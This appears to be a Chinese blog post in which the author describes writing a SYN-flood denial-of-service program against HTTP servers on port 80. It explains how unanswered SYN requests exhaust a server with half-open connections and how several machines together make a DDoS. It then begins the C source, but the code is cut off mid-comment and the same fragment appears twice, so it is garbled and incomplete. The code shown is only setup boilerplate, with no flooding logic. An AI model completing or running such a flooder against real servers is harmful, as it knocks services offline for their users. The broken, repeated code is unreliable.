今天学习了Unix/Linux网络编程的原始套接字,并完成了一个DoS(拒绝服务攻击)程序。该程序向HTTP服务器发送大量建立连接的的请求,但是不发送ack报文,从而可以使服务器产生大量半连接。在半连接超时之前,服务器不堪重负而停止响应其它请求。当多台机器同时参与攻击时候,就办成DDoS攻击(分布式拒绝服务攻击)。
编写原始套接字需要了解报文结构,下面这个链接http://blog.chinaunix.net/u/28949/showart_251762.html可以查看ip包和tcp包的结构。
#include
<
stdio.h
>
#include < sys / socket.h >
#include < netinet / in .h >
#include < netinet / ip.h >
#include < netinet / tcp.h >
#include < stdlib.h >
#include < errno.h >
#include < netdb.h >
#define DES_PORT 80 /*欲攻击的端口为80,即HTTP端口 */
#define LOCAL_PORT 8888/*使用的本地端口*/
void send_tcp( int , struct sockaddr_in * );
int main()
... {
int sockfd;
int on=1;
struct sockaddr_in serveraddr;
bzero(&serveraddr,sizeof(struct sockaddr_in));/**//*结构清零*/
serveraddr.sin_family=AF_INET;/**//*针对Internet*/
serveraddr.sin_port=htons(DES_PORT);/**//*转
#include < sys / socket.h >
#include < netinet / in .h >
#include < netinet / ip.h >
#include < netinet / tcp.h >
#include < stdlib.h >
#include < errno.h >
#include < netdb.h >
#define DES_PORT 80 /*欲攻击的端口为80,即HTTP端口 */
#define LOCAL_PORT 8888/*使用的本地端口*/
void send_tcp( int , struct sockaddr_in * );
int main()
... {
int sockfd;
int on=1;
struct sockaddr_in serveraddr;
bzero(&serveraddr,sizeof(struct sockaddr_in));/**//*结构清零*/
serveraddr.sin_family=AF_INET;/**//*针对Internet*/
serveraddr.sin_port=htons(DES_PORT);/**//*转